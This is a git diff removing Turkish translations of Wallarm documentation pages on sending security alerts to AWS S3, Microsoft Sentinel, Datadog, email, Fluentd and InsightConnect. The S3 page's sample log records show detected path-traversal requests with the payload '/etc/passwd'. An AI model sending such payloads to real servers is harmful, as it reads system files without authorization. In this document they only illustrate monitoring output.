paylaşılan [erişim anahtarı](https://docs.aws.amazon.com/powershell/latest/userguide/pstools-appendix-sign-up.html)nı gerektirir. Bu yöntemi seçerseniz, entegrasyonda kullanılan S3 bucket’ına yalnızca yazma iznine sahip ayrı bir IAM kullanıcısının erişim anahtarını kullanmanız önerilir. - -Bir Amazon S3 entegrasyonu kurmak için: - -1. Wallarm için bir Amazon S3 bucket’ı oluşturmak üzere [talimatları](https://docs.aws.amazon.com/AmazonS3/latest/userguide/GetStartedWithS3.html) izleyin. -1. Seçilen yetkilendirme yöntemine bağlı olarak farklı adımları uygulayın. - - === "Rol ARN’si" - - 1. AWS UI’da, S3 → bucket’ınız → **Properties** sekmesine gidin ve bucket’ınızın **AWS Region** kodunu ve **Amazon Resource Name (ARN)** değerini kopyalayın. - - Örneğin, bölge olarak `us-west-1` ve ARN olarak `arn:aws:s3:::test-bucket-json`. - - 1. Wallarm Console UI’da, **Integrations** bölümünü açın. - 1. **AWS S3** bloğuna tıklayın veya **Add integration** düğmesine tıklayıp **AWS S3**’ü seçin. - 1. Bir entegrasyon adı girin. - 1. S3 bucket’ınızın daha önce kopyaladığınız AWS bölge kodunu girin. - 1. S3 bucket adınızı girin. - 1. Sağlanan Wallarm account ID’yi kopyalayın. - 1. Sağlanan external ID’yi kopyalayın. - 1. AWS UI’da, IAM → **Access Management** → **Roles** altında [new role](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-user.html) oluşturmayı başlatın. - 1. Trusted entity type olarak **AWS account** → **Another AWS Account** seçin. - 1. Wallarm **Account ID**’sini yapıştırın. - 1. **Require external ID** seçeneğini işaretleyin ve Wallarm tarafından sağlanan external ID’yi yapıştırın. - 1. **Next**’e tıklayın ve rolünüz için ilke (policy) oluşturun: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "VisualEditor0", - "Effect": "Allow", - "Action": "s3:PutObject", - "Resource": "/*" - } - ] - } - ``` - 1. Rol oluşturmayı tamamlayın ve rolün ARN’sini kopyalayın. - 1. Wallarm Console UI’da, entegrasyon oluşturma iletişim kutunuzda, **Role ARN** sekmesinde rolünüzün ARN’sini yapıştırın. - - ![Amazon S3 entegrasyonu](../../../images/user-guides/settings/integrations/add-amazon-s3-integration.png) - - === "Gizli erişim anahtarı" - - 1. AWS UI’da, S3 → bucket’ınız → **Properties** sekmesine gidin ve bucket’ınızın **AWS Region** kodunu kopyalayın; örneğin `us-west-1`. - 1. IAM → Dashboard → **Manage access keys** → **Access keys** bölümüne gidin. - 1. Bir yerde sakladığınız erişim anahtarının kimliğini (ID) alın veya [burada](https://aws.amazon.com/ru/blogs/security/wheres-my-secret-access-key/) açıklandığı gibi yeni bir anahtar oluşturun/kaybolan anahtarı geri yükleyin. Her durumda, etkin anahtarınıza ve onun ID’sine ihtiyacınız olacaktır. - 1. Wallarm Console UI’da, **Integrations** bölümünü açın. - 1. **AWS S3** bloğuna tıklayın veya **Add integration** düğmesine tıklayıp **AWS S3**’ü seçin. - 1. Bir entegrasyon adı girin. - 1. S3 bucket’ınızın daha önce kopyaladığınız AWS bölge kodunu girin. - 1. S3 bucket adınızı girin. - 1. **Secret access key** sekmesinde, erişim anahtarı ID’sini ve anahtarın kendisini girin. - -1. Wallarm verileri için biçimi seçin: JSON Dizisi veya Yeni Satırla Ayrılmış JSON (NDJSON). -1. **Regular notifications** bölümünde, son 10 dakikadaki hits öğelerinin gönderilmek üzere seçili olduğundan emin olun. Seçilmemişse, veriler S3 bucket’ına gönderilmeyecektir. -1. Yapılandırmanın doğruluğunu, Wallarm Cloud’a erişilebilirliği ve bildirim biçimini kontrol etmek için **Test integration**’a tıklayın. - - Amazon S3 için, entegrasyon testi verilerle birlikte JSON dosyasını bucket’ınıza gönderir. İşte son 10 dakikada tespit edilen hits verilerini içeren JSON dosyasına bir örnek: - - === "JSON Dizisi" - ```json - [ - { - "time":"1687241470", - "request_id":"d2a900a6efac7a7c893a00903205071a", - "ip":"127.0.0.1", - "datacenter":"unknown", - "tor":"none", - "remote_country":null, - "application_id":[ - -1 - ], - "domain":"localhost", - "method":"GET", - "uri":"/etc/passwd", - "protocol":"none", - "status_code":499, - "attack_type":"ptrav", - "block_status":"monitored", - "payload":[ - "/etc/passwd" - ], - "point":[ - "uri" - ], - "tags":{ - "lom_id":7, - "libproton_version":"4.4.11", - "brute_counter":"c188cd2baa2cefb3f3688cb4008a649e", - "wallarm_mode":"monitoring", - "final_wallarm_mode":"monitoring" - } - }, - { - "time":"1687241475", - "request_id":"b457fccec9c66cdb07eab7228b34eca6", - "ip":"127.0.0.1", - "datacenter":"unknown", - "tor":"none", - "remote_country":null, - "application_id":[ - -1 - ], - "domain":"localhost", - "method":"GET", - "uri":"/etc/passwd", - "protocol":"none", - "status_code":499, - "attack_type":"ptrav", - "block_status":"monitored", - "payload":[ - "/etc/passwd" - ], - "point":[ - "uri" - ], - "tags":{ - "lom_id":7, - "libproton_version":"4.4.11", - "brute_counter":"c188cd2baa2cefb3f3688cb4008a649e", - "wallarm_mode":"monitoring", - "final_wallarm_mode":"monitoring" - } - } - ] - ``` - === "Yeni Satırla Ayrılmış JSON (NDJSON)" - ```json - {"time":"1687241470","request_id":"d2a900a6efac7a7c893a00903205071a","ip":"127.0.0.1","datacenter":"unknown","tor":"none","remote_country":null,"application_id":[-1],"domain":"localhost","method":"GET","uri":"/etc/passwd","protocol":"none","status_code":499,"attack_type":"ptrav","block_status":"monitored","payload":["/etc/passwd"],"point":["uri"],"tags":{"lom_id":7,"libproton_version":"4.4.11","brute_counter":"c188cd2baa2cefb3f3688cb4008a649e","wallarm_mode":"monitoring","final_wallarm_mode":"monitoring"}} - {"time":"1687241475","request_id":"b457fccec9c66cdb07eab7228b34eca6","ip":"127.0.0.1","datacenter":"unknown","tor":"none","remote_country":null,"application_id":[-1],"domain":"localhost","method":"GET","uri":"/etc/passwd","protocol":"none","status_code":499,"attack_type":"ptrav","block_status":"monitored","payload":["/etc/passwd"],"point":["uri"],"tags":{"lom_id":7,"libproton_version":"4.4.11","brute_counter":"c188cd2baa2cefb3f3688cb4008a649e","wallarm_mode":"monitoring","final_wallarm_mode":"monitoring"}} - ``` -1. **Add integration**’a tıklayın. - ---8<-- "../include/cloud-ip-by-request.md" - -Saklanan veri miktarını kontrol etmek için, Amazon S3 bucket’ınızdan eski nesnelerin otomatik silinmesini [burada](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html) açıklandığı şekilde yapılandırmanız önerilir. - -## Entegrasyonun devre dışı bırakılması ve silinmesi - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## Sistem kullanılamazlığı ve hatalı entegrasyon parametreleri - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/azure-sentinel.md b/docs/latest-tr/user-guides/settings/integrations/azure-sentinel.md deleted file mode 100644 index ff3395d71b..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/azure-sentinel.md +++ /dev/null @@ -1,79 +0,0 @@ -# Microsoft Sentinel - -[Microsoft Azure Sentinel](https://azure.microsoft.com/en-au/products/microsoft-sentinel/), Microsoft tarafından Azure bulut platformunun bir parçası olarak sunulan, kuruluşların tüm bulut ve şirket içi ortamları genelinde güvenlik tehditlerini ve olaylarını izlemelerine, tespit etmelerine, araştırmalarına ve yanıt vermelerine yardımcı olan bir çözümdür. Wallarm'ı Microsoft Sentinel'de olayları kaydedecek şekilde yapılandırabilirsiniz. - -## Entegrasyonun yapılandırılması - -Microsoft UI'da: - -1. [Microsoft Sentinel'ı bir Workspace üzerinde çalıştırın](https://learn.microsoft.com/en-us/azure/sentinel/quickstart-onboard#enable-microsoft-sentinel-). -1. Sentinel Workspace settings → **Agents** → **Log Analytics agent instructions** bölümüne gidin ve aşağıdaki verileri kopyalayın: - - * Workspace ID - * Primary key - -Wallarm Console UI'da: - -1. **Integrations** bölümünü açın. -1. **Microsoft Sentinel** bloğuna tıklayın veya **Add integration** düğmesine tıklayıp **Microsoft Sentinel** seçin. -1. Bir integration adı girin. -1. Kopyaladığınız Workspace ID ve Primary key değerlerini yapıştırın. -1. İsteğe bağlı olarak, Wallarm olayları için Azure Sentinel tablosunu belirtin. Eğer yoksa otomatik olarak oluşturulacaktır. - - İsim verilmezse, her olay türü için ayrı tablolar oluşturulur. -1. Bildirimleri tetikleyecek olay türlerini seçin. - - ![Sentinel entegrasyonu](../../../images/user-guides/settings/integrations/add-sentinel-integration.png) - - Kullanılabilir olaylar hakkında ayrıntılar: - - --8<-- "../include/integrations/advanced-events-for-integrations.md" - -1. Yapılandırmanın doğruluğunu, Wallarm Cloud erişilebilirliğini ve bildirim biçimini kontrol etmek için **Test integration**'a tıklayın. - - Wallarm loglarını Microsoft Workspace'inizde → **Logs** → **Custom Logs** altında bulabilirsiniz; örneğin test amaçlı `create_user_CL` logu Microsoft Sentinel'de aşağıdaki gibi görünür: - - ![Sentinel test iletisi](../../../images/user-guides/settings/integrations/test-sentinel-new-vuln.png) - - !!! info "Yeni workspaces için veri gönderiminde gecikme" - Wallarm entegrasyonu için Sentinel üzerinde bir Workspace oluşturulduğunda tüm hizmetlerin çalışır duruma gelmesi 1 saate kadar sürebilir. Bu gecikme, entegrasyonun test edilmesi ve kullanımı sırasında hatalara yol açabilir. Tüm entegrasyon ayarları doğruysa ancak hatalar görünmeye devam ediyorsa, lütfen 1 saat sonra tekrar deneyin. - -1. **Add integration**'a tıklayın. - ---8<-- "../include/cloud-ip-by-request.md" - -## Wallarm günlük türleri - -Genel olarak, Wallarm Sentinel'e aşağıdaki türlerde kayıtlar yazabilir: - -| Olay | Sentinel log türü | -| ----- | ----------------- | -| Yeni [hit](../../../glossary-en.md#hit) | `new_hits_CL` | -| Şirket hesabında yeni [user](../../../user-guides/settings/users.md) | `create_user_CL` | -| Şirket hesabından bir user silinmesi | `delete_user_CL` | -| User rolü güncellemesi | `update_user_CL` | -| Bir [integration](integrations-intro.md) silinmesi | `delete_integration_CL` | -| Bir integration'ın devre dışı bırakılması | `disable_integration_CL` veya yanlış ayarlar nedeniyle devre dışı bırakıldıysa `integration_broken_CL` | -| Yeni [application](../../../user-guides/settings/applications.md) | `create_application_CL` | -| Bir application silinmesi | `delete_application_CL` | -| Application adının güncellenmesi | `update_application_CL` | -| Yüksek riskli yeni [vulnerability](../../../glossary-en.md#vulnerability) | `vuln_high_CL` | -| Orta riskli yeni vulnerability | `vuln_medium_CL` | -| Düşük riskli yeni vulnerability | `vuln_low_CL` | -| Yeni [rule](../../../user-guides/rules/rules.md) | `rule_create_CL` | -| Bir rule silinmesi | `rule_delete_CL` | -| Mevcut bir rule'da değişiklikler | `rule_update_CL` | -| Yeni [trigger](../../../user-guides/triggers/triggers.md) | `trigger_create_CL` | -| Bir trigger silinmesi | `trigger_delete_CL` | -| Mevcut bir trigger'da değişiklikler | `trigger_update_CL` | -| API envanterinde değişiklikler (ilgili [trigger](../../triggers/triggers.md) etkinse) | `api_structure_changed_CL` | -| Saldırı sayısı eşik değeri aşıyor (ilgili [trigger](../../triggers/triggers.md) etkinse) | `attacks_exceeded_CL` | -| Yeni denylisted IP (ilgili [trigger](../../triggers/triggers.md) etkinse) | `ip_blocked_CL` | - -## Bir integration'ı devre dışı bırakma ve silme - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## Sistemin kullanılamaması ve hatalı integration parametreleri - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/datadog.md b/docs/latest-tr/user-guides/settings/integrations/datadog.md deleted file mode 100644 index 25c835d1a0..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/datadog.md +++ /dev/null @@ -1,42 +0,0 @@ -# Datadog - -[Datadog](https://www.datadoghq.com/), modern uygulamaların performansı, erişilebilirliği ve güvenliği hakkında kapsamlı görünürlük sağlayan, popüler bulut tabanlı bir izleme ve analitik platformudur. Wallarm, [Datadog API anahtarı](https://docs.datadoghq.com/account_management/api-app-keys/) aracılığıyla Wallarm Console içinde uygun bir entegrasyon oluşturarak tespit edilen olayların bildirimlerini doğrudan Datadog Logs hizmetine gönderebilir. - -## Entegrasyonu yapılandırma - -1. Datadog UI → **Organization Settings** → **API Keys** bölümünü açın ve Wallarm ile entegrasyon için bir API key oluşturun. -1. Wallarm Console → **Integrations** bölümünü açın ve **Datadog** entegrasyonu kurulumuna ilerleyin. -1. Bir entegrasyon adı girin. -1. Datadog API anahtarını **API key** alanına yapıştırın. -1. [Datadog bölgesini](https://docs.datadoghq.com/getting_started/site/) seçin. -1. Bildirimleri tetikleyecek etkinlik türlerini seçin. - - ![Datadog entegrasyonu](../../../images/user-guides/settings/integrations/add-datadog-integration.png) - - Mevcut etkinliklerle ilgili ayrıntılar: - - --8<-- "../include/integrations/advanced-events-for-integrations.md" - -1. Yapılandırmanın doğruluğunu, Wallarm Cloud erişilebilirliğini ve bildirim formatını kontrol etmek için **Test integration** öğesine tıklayın. - - Test Datadog günlüğü: - - ![Test Datadog günlüğü](../../../images/user-guides/settings/integrations/test-datadog-vuln-detected.png) - - Wallarm kayıtlarını diğer kayıtlar arasında bulmak için Datadog Logs hizmetinde `source:wallarm_cloud` arama etiketini kullanabilirsiniz. - -1. **Add integration** öğesine tıklayın. - ---8<-- "../include/cloud-ip-by-request.md" - -## Ek uyarıları yapılandırma - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -## Bir entegrasyonu devre dışı bırakma ve silme - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## Sistem kullanılamıyor ve hatalı entegrasyon parametreleri - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/email.md b/docs/latest-tr/user-guides/settings/integrations/email.md deleted file mode 100644 index 69a00b3011..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/email.md +++ /dev/null @@ -1,49 +0,0 @@ -# E-posta Raporu - -Zamanlanmış [PDF raporlarının](../../../user-guides/search-and-filters/custom-report.md) ve anlık bildirimlerin teslimi için kullanılacak ek e-posta adresleri tanımlayabilirsiniz. Birincil e-posta adresinize mesaj gönderimi varsayılan olarak yapılandırılmıştır. - -Zamanlanmış PDF raporları günlük, haftalık veya aylık olarak gönderilebilir. PDF raporları, seçilen dönem içinde sisteminizde tespit edilen güvenlik açıkları, saldırılar ve olaylar hakkında ayrıntılı bilgi içerir. Bildirimler, tetiklenen olayların kısa ayrıntılarını içerir. - -## Entegrasyonun yapılandırılması - -1. **Integrations** bölümünü açın. -1. **Email report** bloğuna tıklayın veya **Add integration** düğmesine tıklayıp **Email report** seçeneğini seçin. -1. Bir entegrasyon adı girin. -1. E-posta adreslerini ayraç olarak virgül kullanarak girin. -1. Güvenlik raporlarının gönderim sıklığını seçin. Sıklık seçilmezse raporlar gönderilmez. -1. Bildirimleri tetikleyecek olay türlerini seçin. - - ![Email report entegrasyonu](../../../images/user-guides/settings/integrations/add-email-report-integration.png) - - Kullanılabilir olaylara ilişkin ayrıntılar: - - --8<-- "../include/integrations/events-for-integrations-mail.md" - - !!! info "Devre dışı bırakılamayan bildirimler" - Wallarm, kullanıcı e-posta adresinize devre dışı bırakılamayan bazı bildirimler de gönderecektir: - - * [Abonelik](../../../about-wallarm/subscription-plans.md) bildirimleri - * [API token süresinin dolması](../../../user-guides/settings/api-tokens.md#token-expiration) bildirimleri - * [Hit sampling](../../../user-guides/events/grouping-sampling.md#sampling-of-hits) bildirimleri - -1. Yapılandırmanın doğruluğunu, Wallarm Cloud erişilebilirliğini ve bildirim biçimini kontrol etmek için **Test integration**'a tıklayın. - - Bu işlem, `[Test message]` önekiyle test bildirimleri gönderecektir: - - ![Test e-posta iletisi](../../../images/user-guides/settings/integrations/test-email-scope-changed.png) - -1. **Add integration**'a tıklayın. - -## Ek uyarıların yapılandırılması - -* Belirli bir zaman aralığında (gün, saat vb.) [saldırıların](../../../glossary-en.md#attack), [hits](../../../glossary-en.md#hit) veya olayların sayısının belirlenen sayıyı aşması -* [API'de değişiklikler](../../../api-discovery/track-changes.md) gerçekleşti -* Şirket hesabına yeni bir kullanıcı eklendi - -## Bir entegrasyonu devre dışı bırakma ve silme - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## Sistemin kullanılamaması ve hatalı entegrasyon parametreleri - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/fluentd.md b/docs/latest-tr/user-guides/settings/integrations/fluentd.md deleted file mode 100644 index 50fbe422e5..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/fluentd.md +++ /dev/null @@ -1,200 +0,0 @@ -# Fluentd - -[Fluentd](https://www.fluentd.org/), çok yönlü ve hafif bir veri toplayıcı ve taşıma mekanizması olarak hizmet veren açık kaynaklı bir veri toplama yazılım aracıdır. Wallarm Console içinde uygun bir entegrasyon oluşturarak Wallarm’ın tespit edilen olay bildirimlerini Fluentd’ye göndermesini yapılandırabilirsiniz. - -## Bildirim formatı - -Wallarm, Fluentd’ye JSON formatında **webhook**’lar üzerinden bildirimler gönderir. JSON nesnelerinin kümesi, Wallarm’ın bildirdiği olaya bağlıdır. - -Yeni hit tespiti bildirimine örnek: - -```json -[ - { - "summary": "[Wallarm] New hit detected", - "details": { - "client_name": "TestCompany", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "www.example.com", - "heur_distance": 0.01111, - "method": "POST", - "parameter": "SOME_value", - "path": "/news/some_path", - "payloads": [ - "say ni" - ], - "point": [ - "post" - ], - "probability": 0.01, - "remote_country": "PL", - "remote_port": 0, - "remote_addr4": "8.8.8.8", - "remote_addr6": "", - "tor": "none", - "request_time": 1603834606, - "create_time": 1603834608, - "response_len": 14, - "response_status": 200, - "response_time": 5, - "stamps": [ - 1111 - ], - "regex": [], - "stamps_hash": -22222, - "regex_hash": -33333, - "type": "sqli", - "block_status": "monitored", - "id": [ - "hits_production_999_202010_v_1", - "c2dd33831a13be0d_AC9" - ], - "object_type": "hit", - "anomaly": 0 - } - } - } -] -``` - -## Gereksinimler - -Fluentd yapılandırması aşağıdaki gereksinimleri karşılamalıdır: - -* POST veya PUT isteklerini kabul etmelidir -* HTTPS isteklerini kabul etmelidir -* Genel erişilebilir bir URL’ye sahip olmalıdır - -Fluentd yapılandırma örneği: - -```bash linenums="1" - - @type http # HTTP ve HTTPS trafiği için input eklentisi - port 9880 # Gelen istekler için port - # Bağlantıların işlenmesine yönelik yapılandırma - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type copy - - @type stdout # Fluentd günlüklerini komut satırında yazdıran output eklentisi - output_type json # Komut satırında yazdırılan günlüklerin biçimi - - -``` - -Daha fazla ayrıntıyı [resmi Fluentd belgelerinde](https://docs.datadoghq.com/integrations/fluentd) bulabilirsiniz. - -## Entegrasyonu yapılandırma - -1. Wallarm Console → Integrations → Fluentd içinde Fluentd entegrasyonu kurulumuna gidin. -1. Entegrasyon adını girin. -1. Hedef Fluentd URL’sini belirtin (Webhook URL). -1. Gerektiğinde gelişmiş ayarları yapılandırın: - - --8<-- "../include/integrations/webhook-advanced-settings.md" -1. Bildirimleri tetikleyecek olay türlerini seçin. - - ![Fluentd entegrasyonu](../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - - Kullanılabilir olayların ayrıntıları: - - --8<-- "../include/integrations/advanced-events-for-integrations.md" - -1. Yapılandırmanın doğruluğunu, Wallarm Cloud erişilebilirliğini ve bildirim formatını kontrol etmek için **Test integration**’a tıklayın. - - Test Fluentd günlüğü: - - ```json - [ - { - summary:"[Test message] [Test partner(US)] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } - } - ] - ``` - -1. **Add integration**’a tıklayın. - ---8<-- "../include/cloud-ip-by-request.md" - -## Ek uyarıları yapılandırma - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -## Fluentd’yi ara veri toplayıcı olarak kullanma - ---8<-- "../include/integrations/webhook-examples/overview.md" - -Örneğin: - -![Webhook akışı](../../../images/user-guides/settings/integrations/webhook-examples/fluentd/qradar-scheme.png) - -Bu şemayı kullanarak Wallarm olaylarını kaydetmek için: - -1. Gelen webhook’ları okuyup günlükleri bir sonraki sisteme iletecek şekilde veri toplayıcıyı yapılandırın. Wallarm, olayları veri toplayıcılara webhook’lar üzerinden gönderir. -1. SIEM sistemini, veri toplayıcıdan günlükleri alıp okumak üzere yapılandırın. -1. Wallarm’ı günlükleri veri toplayıcıya gönderecek şekilde yapılandırın. - - Wallarm, webhook’lar aracılığıyla herhangi bir veri toplayıcıya günlük gönderebilir. - - Wallarm’ı Fluentd veya Logstash ile entegre etmek için Wallarm Console UI içindeki ilgili integration cards kullanabilirsiniz. - - Wallarm’ı diğer veri toplayıcılarla entegre etmek için Wallarm Console UI içinde [webhook integration card](webhook.md) kullanabilirsiniz. - -Günlükleri SIEM sistemlerine ileten popüler veri toplayıcılarla entegrasyonun nasıl yapılandırılacağına ilişkin bazı örnekleri açıkladık: - -* [Wallarm → Fluentd → IBM QRadar](webhook-examples/fluentd-qradar.md) -* [Wallarm → Fluentd → Splunk Enterprise](webhook-examples/fluentd-splunk.md) -* [Wallarm → Fluentd → Micro Focus ArcSight Logger](webhook-examples/fluentd-arcsight-logger.md) -* [Wallarm → Fluentd → Datadog](webhook-examples/fluentd-logstash-datadog.md) - - Wallarm ayrıca [Datadog API üzerinden Datadog ile yerel entegrasyonu](datadog.md) destekler. Yerel entegrasyon, ara veri toplayıcı kullanımını gerektirmez. - -## Bir entegrasyonu devre dışı bırakma ve silme - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## Sistemin kullanılamaması ve hatalı entegrasyon parametreleri - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/insightconnect.md b/docs/latest-tr/user-guides/settings/integrations/insightconnect.md deleted file mode 100644 index d771976e34..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/insightconnect.md +++ /dev/null @@ -1,53 +0,0 @@ -# InsightConnect - -[InsightConnect](https://www.rapid7.com/products/insightconnect/), kuruluşların siber güvenlik operasyonlarını kolaylaştırıp otomatikleştirmesine yardımcı olmak için tasarlanmış bir güvenlik orkestrasyonu, otomasyon ve yanıt (SOAR) platformudur; güvenlik olaylarını ve tehditleri tespit etmeyi, araştırmayı ve yanıtlamayı kolaylaştırır. Wallarm'ı InsightConnect'e bildirim gönderecek şekilde ayarlayabilirsiniz. - -## Entegrasyonu yapılandırma - -Önce, aşağıdaki şekilde bir API key oluşturup kopyalayın: - -1. InsightConnect'in UI'sini açın → **Settings** → [**API Keys** page](https://insight.rapid7.com/platform#/apiKeyManagement) ve **New User Key**'e tıklayın. -2. Bir API key adı girin (ör. `Wallarm API`) ve **Generate**'e tıklayın. -3. Oluşturulan API key'i kopyalayın. -4. Wallarm UI'ye gidin → [US](https://us1.my.wallarm.com/integrations/) veya [EU](https://my.wallarm.com/integrations/) cloud'daki **Integrations** bölümüne gidin ve **InsightConnect**'e tıklayın. -4. Daha önce kopyaladığınız API key'i **API key** alanına yapıştırın. - -İkinci olarak, aşağıdaki gibi bir API URL oluşturup kopyalayın: - -1. InsightConnect'in UI'sine geri dönün, **Automation** → **Workflows** sayfasını açın ve Wallarm bildirimi için yeni bir workflow oluşturun. -2. Tetikleyici seçmeniz istendiğinde, **API Trigger**'ı seçin. -3. Oluşturulan URL'yi kopyalayın. -4. Wallarm UI'ye geri dönün → **InsightConnect** yapılandırmasına gidin ve daha önce kopyaladığınız API URL'sini **API URL** alanına yapıştırın. - -Üçüncü olarak, kurulumu Wallarm UI'de tamamlayın: - -1. Bir entegrasyon adı girin. -1. Bildirimleri tetikleyecek olay türlerini seçin. - - ![InsightConnect entegrasyonu](../../../images/user-guides/settings/integrations/add-insightconnect-integration.png) - - Mevcut olaylara ilişkin ayrıntılar: - - --8<-- "../include/integrations/advanced-events-for-integrations.md" - -1. Yapılandırmanın doğruluğunu, Wallarm Cloud'un kullanılabilirliğini ve bildirim biçimini kontrol etmek için **Test integration**'a tıklayın. - - Bu işlem, `[Test message]` ön ekine sahip test bildirimleri gönderecektir: - - ![Test InsightConnect bildirimi](../../../images/user-guides/settings/integrations/test-insightconnect-scope-changed.png) - -1. **Add integration**'a tıklayın. - ---8<-- "../include/cloud-ip-by-request.md" - -## Ek uyarıları yapılandırma - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -## Bir entegrasyonu devre dışı bırakma ve silme - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## Sistem kullanılamaması ve hatalı entegrasyon parametreleri - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/integrations-intro.md b/docs/latest-tr/user-guides/settings/integrations/integrations-intro.md deleted file mode 100644 index 218474b53c..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/integrations-intro.md +++ /dev/null @@ -1,332 +0,0 @@ -# Entegrasyonlara Genel Bakış - -OWASP API Top 10 tehditlerine, API suistimaline ve otomatik tehditlere karşı kalkanınız olurken Wallarm, gerçek zamanlı olarak haberdar kalmanızı sağlamak için geniş bir yelpazedeki sistemlerle sorunsuz biçimde entegre olarak güvenliğinizi bir adım öteye taşır. - -Wallarm entegrasyonlarıyla aşağıdakiler dahil kritik olaylardan her zaman haberdar olursunuz: - -* Tehditlere karşı derhal harekete geçebilmeniz için [tespit edilen Hits](../../../user-guides/events/check-attack.md) hakkında anlık uyarılar. -* Kontrolün daima sizde olmasını sağlayacak sistem olayı güncellemeleri (kayıtlı [users](../../../user-guides/settings/users.md), entegrasyonlar ve [applications](../../../user-guides/settings/applications.md) üzerindeki değişiklikler). -* Güvenlik profilinizdeki önemli değişikliklere ilişkin bildirimler; örneğin [rules](../../../user-guides/rules/rules.md) ve [triggers](../../../user-guides/triggers/triggers.md) değişiklikleri. -* Altyapınızdaki olası [zafiyetler](../../../about-wallarm/detecting-vulnerabilities.md) ve bunların risk seviyeleri hakkında zamanında uyarılar; böylece en tehlikeli zayıflıkları proaktif olarak ele alabilirsiniz. - -Bu özelliği Wallarm Console içindeki Integrations bölümünden yönetin; entegrasyonlarınız için ek uyarıları yapılandırmak üzere Triggers bölümünü kullanın. - -![Integrations](../../../images/user-guides/settings/integrations/integration-panel.png) - -Wallarm, mevcut birçok araç ve platformla zahmetsizce bağlantı kurar. Tek bir sistemle yapılabilecek entegrasyon sayısı sınırlı değildir. - - - -## E-posta ve mesajlaşma uygulamaları - -
              -
              - - -

              Email

              -

              Kayıt sırasında belirtilen e-postaya ve ek e-posta adreslerine bildirim alın

              -               - - -

              Slack

              -

              Seçili Slack kanalına bildirim gönderin

              -               - - -

              Telegram

              -

              Wallarm botunu Telegram'a ekleyin ve bildirimleri ona gönderin

              -               - - -

              Microsoft Teams

              -

              Seçili Microsoft Teams kanalına bildirim gönderin

              -               -
              -
              - -## Olay ve görev yönetim sistemleri - -
              -
              - - -

              Opsgenie

              -

              Opsgenie API üzerinden entegre edin

              -               - - -

              PagerDuty

              -

              Olayları PagerDuty'ye gönderin

              -               - - -

              Jira

              -

              Wallarm'ı Jira'da kayıtlar oluşturacak şekilde yapılandırın

              -               - - -

              ServiceNow

              -

              Wallarm'ı ServiceNow'da destek kayıtları oluşturacak şekilde yapılandırın

              -               -
              -
              - -## SIEM ve SOAR sistemleri - -
              -
              - - -

              Sumo Logic

              -

              Mesajları Sumo Logic'e gönderin

              -               - - -

              Splunk

              -

              Uyarıları Splunk'a gönderin

              -               - - -

              InsightConnect

              -

              Bildirimleri InsightConnect'e gönderin

              -               - - -

              Microsoft Sentinel

              -

              Olayları Microsoft Azure Sentinel'de kaydedin

              -               -
              -
              - -## Günlük yönetim sistemleri - -
              -
              -
              - -

              Datadog

              -

              Olayları Datadog Logs servisine doğrudan veya ara veri toplayıcıları üzerinden gönderin

              -
              -
              -
              -
              - -

              Datadog

              -

              Olayları Datadog Logs servisine doğrudan veya ara veri toplayıcıları üzerinden gönderin

              -
              - -

              Yerel entegrasyon

              -

              Günlükleri doğrudan Datadog'a gönderin

              -               - -

              Wallarm → Fluentd → Datadog

              -

              Günlükleri Fluentd aracılığıyla Datadog'a gönderin

              -               - -

              Wallarm → Logstash → Datadog

              -

              Günlükleri Logstash aracılığıyla Datadog'a gönderin

              -               -
              -
              - -## Veri toplayıcılar - -
              -
              -
              - -

              Fluentd

              -

              Tespit edilen olayların bildirimlerini Fluentd sistemine gönderin veya diğer sistemlerle entegrasyon için Fluentd'yi ara sistem olarak kullanın

              -
              -
              - -

              Logstash

              -

              Tespit edilen olayların bildirimlerini Logstash sistemine gönderin veya diğer sistemlerle entegrasyon için Logstash'i ara sistem olarak kullanın

              -
              - - -

              AWS S3

              -

              Tespit edilen Hits hakkındaki bilgileri içeren dosyaları Amazon S3 bucket'ınıza göndermek için Wallarm'ı yapılandırın

              -               -
              -
              -
              - -

              Fluentd

              -

              Tespit edilen olayların bildirimlerini Fluentd sistemine gönderin veya diğer sistemlerle entegrasyon için Fluentd'yi ara sistem olarak kullanın

              -
              - -

              Yerel entegrasyon

              -

              Tespit edilen olayların bildirimlerini doğrudan Fluentd'ye gönderin

              -               -
              -

